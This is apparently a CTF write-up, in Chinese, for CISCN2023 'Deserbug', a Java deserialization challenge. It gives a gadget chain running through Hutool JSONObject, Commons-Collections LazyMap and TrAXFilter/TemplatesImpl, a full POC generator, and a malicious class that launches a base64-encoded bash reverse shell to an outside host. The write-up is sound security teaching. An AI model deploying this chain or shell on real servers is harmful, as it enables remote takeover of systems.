CISCN2023 Deserbug
本文最后更新于 53 天前,其中的信息可能已经有所发展或是发生改变。
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
jdk8u202

配置好题目,利用jadx反编译代码,jdk8u202,将lib放到resource目录下

Testapp.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
  public static void main(String[] args) {
      HttpUtil.createServer(8888).addAction("/", (request, response) -> {
          String bugstr = request.getParam("bugstr");
          String result = "";
          if (bugstr == null) {
              response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
          }

          try {
              byte[] decode = Base64.getDecoder().decode(bugstr);
              ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
              Object object = inputStream.readObject();
              result = object.toString();
          } catch (Exception e) {
              Myexpect myexpect = new Myexpect();
              myexpect.setTypeparam(new Class[]{String.class});
              myexpect.setTypearg(new String[]{e.toString()});
              myexpect.setTargetclass(e.getClass());

              try {
                  result = myexpect.getAnyexcept().toString();
              } catch (Exception ex) {
                  result = ex.toString();
              }
          }

          response.write(result, ContentType.TEXT_PLAIN.toString());
      }).start();
  }
}

很明显的反序列化,bugstr传参

lib中有CC3.2.2,但是3.2.1后常用的InvokerTransformer被列入了黑名单

根据题目提示

cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

我们去审计此方法,此方法是使用反射机制,通过构造构造函数动态出纳兼指定类的实例

 public Object getAnyexcept() throws Exception {
      Constructor con = this.targetclass.getConstructor(this.typeparam);
      return con.newInstance(this.typearg);
  }

其实看到newInstance不难想到利用CC3中的TrAXFilter然后实现Templates动态加载字节码

cn.hutool.json.JSONObject#put()

public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {
      if (null == key) {
          return this;
      } else {
          if (null != filter) {
              MutablePair<String, Object> pair = new MutablePair(key, value);
              if (!filter.accept(pair)) {
                  return this;
              }

              key = (String)pair.getKey();
              value = pair.getValue();
          }

          boolean ignoreNullValue = this.config.isIgnoreNullValue();
          if (ObjectUtil.isNull(value) && ignoreNullValue) {
              this.remove(key);
          } else {
              if (checkDuplicate && this.containsKey(key)) {
                  throw new JSONException("Duplicate key \"{}\"", new Object[]{key});
              }

              super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
          }

          return this;
      }
  }

检测各值不为空后进入到

super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));

InternalJSONUtil.testValidity(value)是用来验证value是否是可序列化为 JSON 的类型

关键是wrap方法

public static Object wrap(Object object, JSONConfig jsonConfig) {
      if (object == null) {
          return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
      } else if (!(object instanceof JSON) && !ObjectUtil.isNull(object) && !(object instanceof JSONString) && !(object instanceof CharSequence) && !(object instanceof Number) && !ObjectUtil.isBasicType(object)) {
          try {
              if (object instanceof SQLException) {
                  return object.toString();
              } else if (!(object instanceof Iterable) && !ArrayUtil.isArray(object)) {
                  if (!(object instanceof Map) && !(object instanceof Map.Entry)) {
                      if (!(object instanceof Date) && !(object instanceof Calendar) && !(object instanceof TemporalAccessor)) {
                          if (object instanceof Enum) {
                              return object.toString();
                          } else {
                              return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);
                          }
                      } else {
                          return object;
                      }
                  } else {
                      return new JSONObject(object, jsonConfig);
                  }
              } else {
                  return new JSONArray(object, jsonConfig);
              }
          } catch (Exception var3) {
              return null;
          }
      } else {
          return object instanceof Number && null != jsonConfig.getDateFormat() ? new NumberWithFormat((Number)object, jsonConfig.getDateFormat()) : object;
      }
  }

检测当value不为所检测类型时,最后会走到 return new JSONObject(object, jsonConfig)调用其构造函数,然后会读取到bean的所有getter所以链子就比较明确了

那么该如何触发put方法呢

这里LazyMap的get方法,可以看到可以调用自定的put方法,链子也很清晰

java.utilHashMap#readObject()->
java.util.HashMap#putVal()->
java.util.HashMap#hash()->
  org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()->
  org.apache.commons.collections.keyvalue.TiedMapEntry#getValue()->
  org.apache.commons.collections.map.LazyMap#get()->
  cn.hutool.json.JSONObject#put()->
      com.app.Myexpect#getAnyexcept()->
          TrAXFilter#TrAXFilter()->
              TemplatesImpl

跟着链子自己走一下

HashMap#readObject

// HashMap反序列化时
private void readObject(java.io.ObjectInputStream s)
  throws IOException, ClassNotFoundException {
  // ...
  for (int i = 0; i < mappings; i++) {
      @SuppressWarnings("unchecked")
          K key = (K) s.readObject();
      @SuppressWarnings("unchecked")
          V value = (V) s.readObject();
      putVal(hash(key), key, value, false, false); // 关键!这里会调用hash(key)
  }
}、

hash(key) 调用 TiedMapEntry#hashCode()

// HashMap.hash()
static final int hash(Object key) {
  int h;
  return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// 因为key是TiedMapEntry,所以会调用TiedMapEntry.hashCode()

TiedMapEntry#hashCode() 调用 getValue()

// TiedMapEntry.hashCode()
public int hashCode() {
  Object value = getValue(); // 关键在这里
  return (getKey() == null ? 0 : getKey().hashCode()) ^
          (value == null ? 0 : value.hashCode());  
}

TiedMapEntry#getValue() 调用 LazyMap#get()

// TiedMapEntry.getValue()
public Object getValue() {
  return this.map.get(this.key); // map是LazyMap,key是"aaa"
}

LazyMap#get() 调用 factory.transform()

// LazyMap.get()
public Object get(Object key) {
  if (!super.map.containsKey(key)) {
      Object value = this.factory.transform(key); // factory是ConstantTransformer
      super.map.put(key, value);
      return value;
  }
  return super.map.get(key);
}

ConstantTransformer#transform() 返回 Myexpect 对象

// ConstantTransformer.transform()
public Object transform(Object input) {
  return this.iConstant; // 返回Myexpect对象
}

LazyMap#get() 返回 Myexpect 后,回到 TiedMapEntry#hashCode()

// 回到TiedMapEntry.hashCode()
return (getKey() == null ? 0 : getKey().hashCode()) ^
      (value == null ? 0 : value.hashCode()); // value.hashCode()调用Myexpect.hashCode()

JSONObject#put() 触发 Myexpect#getAnyexcept()

// 在LazyMap.get()中
Object value = this.factory.transform(key);
super.map.put(key, value); // 这里!super.map是JSONObject,所以会调用JSONObject.put()

最后就触发TrAXFilter和Templateslmpl

恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
  static {
      try {
          Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOXh4eHh4eHh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
      } catch (IOException e) {
          e.printStackTrace();
      }
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers)
          throws TransletException {}

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
          throws TransletException {}
}

POC:

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class poc_load {

  public static void main(String[] args) throws Exception {
      byte[] code = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\untitled2\\src\\main\\java\\shell.class"));
      TemplatesImpl templates = (TemplatesImpl)getTemplates(code);

      Myexpect expect = new Myexpect();
      expect.setTypeparam(new Class[]{javax.xml.transform.Templates.class});
      expect.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class);
      expect.setTypearg(new Object[]{templates});

      JSONObject json = new JSONObject();
      json.put("111","222");

      ConstantTransformer constantTransformer = new ConstantTransformer(1);
      Map<Object,Object> lazyMap = LazyMap.decorate(json,constantTransformer);
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");

      HashMap<Object,Object> hashmap = new HashMap<>();
      hashmap.put(tiedMapEntry, "3");
      lazyMap.remove("aaa");


      setFieldValue(constantTransformer,"iConstant", expect);
      setFieldValue(lazyMap,"factory",constantTransformer);

      // 生成Base64编码的payload
      ByteArrayOutputStream baos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(baos);
      oos.writeObject(hashmap); // 序列化HashMap对象,这样才能触发HashMap#readObject()
      oos.close();

      byte[] byteArray = baos.toByteArray();
      String base64Payload = Base64.getEncoder().encodeToString(byteArray);

      System.out.println("Base64 Payload (HashMap):");
      System.out.println(base64Payload);

  }

  public static Object getTemplates(byte[] bytes)throws Exception{
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","a");
      byte[][] codes = {bytes};
      setFieldValue(templates,"_bytecodes",codes);
      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
      return templates;
  }

  public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
      Class c = object.getClass();
      Field field = c.getDeclaredField(field_name);
      field.setAccessible(true);
      field.set(object, field_value);
  }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇